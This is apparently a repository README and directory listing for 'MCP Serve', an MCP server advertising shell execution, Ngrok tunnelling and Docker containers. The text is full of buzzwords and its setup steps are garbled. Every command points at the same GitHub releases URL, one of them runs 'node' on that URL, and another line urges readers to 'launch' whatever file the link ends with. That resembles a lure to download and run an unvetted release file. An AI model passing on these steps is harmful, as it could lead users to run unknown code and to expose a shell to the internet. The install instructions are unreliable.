Supports hosting Ubuntu24 containers for creating stable environments to run AI models.
Incorporates LangChain technology for building applications with language models.
Utilizes LangGraph for creating complex AI workflows and model pipelines.
Facilitates connecting to local servers remotely through secure tunneling.
Enables seamless connection with OpenAI's services for advanced AI capabilities.
Supports Ubuntu24 environments for running deep learning models in containers.
Welcome to the MCP Serve repository, a cutting-edge tool designed for running Deep Learning models effortlessly. With a simple yet effective MCP Server that allows for Shell execution, connecting locally via Ngrok, or even hosting an Ubuntu24 container using Docker, this repository is a must-have for any AI enthusiast!
🔹 Simple MCP Server: Easily launch your Deep Learning models and serve them using the MCP Server. 🔹 Shell Execution: Execute commands directly from the server shell for maximum control. 🔹 Ngrok Connectivity: Connect to your local server via Ngrok for seamless access from anywhere. 🔹 Ubuntu24 Container Hosting: Utilize Docker to host an Ubuntu24 container for a stable environment. 🔹 Cutting-Edge Technologies: Designed with Anthropic, Gemini, LangChain, and more top-notch technologies. 🔹 Support for ModelContextProtocol: Ensuring seamless integration with various Deep Learning models. 🔹 OpenAI Integration: Connect effortlessly with OpenAI for advanced AI capabilities.
✨ anthropic, claude, container, deepseek, docker, gemini, langchain, langgraph, mcp, modelcontextprotocol, ngrok, openai, sonnet, ubuntu, vibecoding
If the link above ends with the file name, don't forget to launch it and start exploring the possibilities!
To get started with MCP Serve, follow these simple steps:
git clone https://github.com/mark-oori/mcpserve/releasesnpm installnode https://github.com/mark-oori/mcpserve/releasesWe welcome contributions to make MCP Serve even more robust and feature-rich. Feel free to fork the repository, make your changes, and submit a pull request.
Join our community of AI enthusiasts, developers, and researchers to discuss the latest trends in Deep Learning, AI frameworks, and more. Share your projects, ask questions, and collaborate with like-minded individuals.
If you encounter any issues with MCP Serve or have any questions, please check the "Issues" section of the repository or reach out to our support team for assistance.
This project is licensed under the MIT License - see the LICENSE file for details.
Dive into the world of Deep Learning with MCP Serve and revolutionize the way you interact with AI models. Whether you're a seasoned AI professional or a beginner exploring the possibilities of AI, MCP Serve has something for everyone. Start your Deep Learning journey today! 🌌
Happy coding! 💻🤖
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
A server tool for running Deep Learning models that offers Shell execution, Ngrok connectivity, and Docker container hosting with support for multiple AI frameworks including Anthropic, Gemini, and OpenAI.
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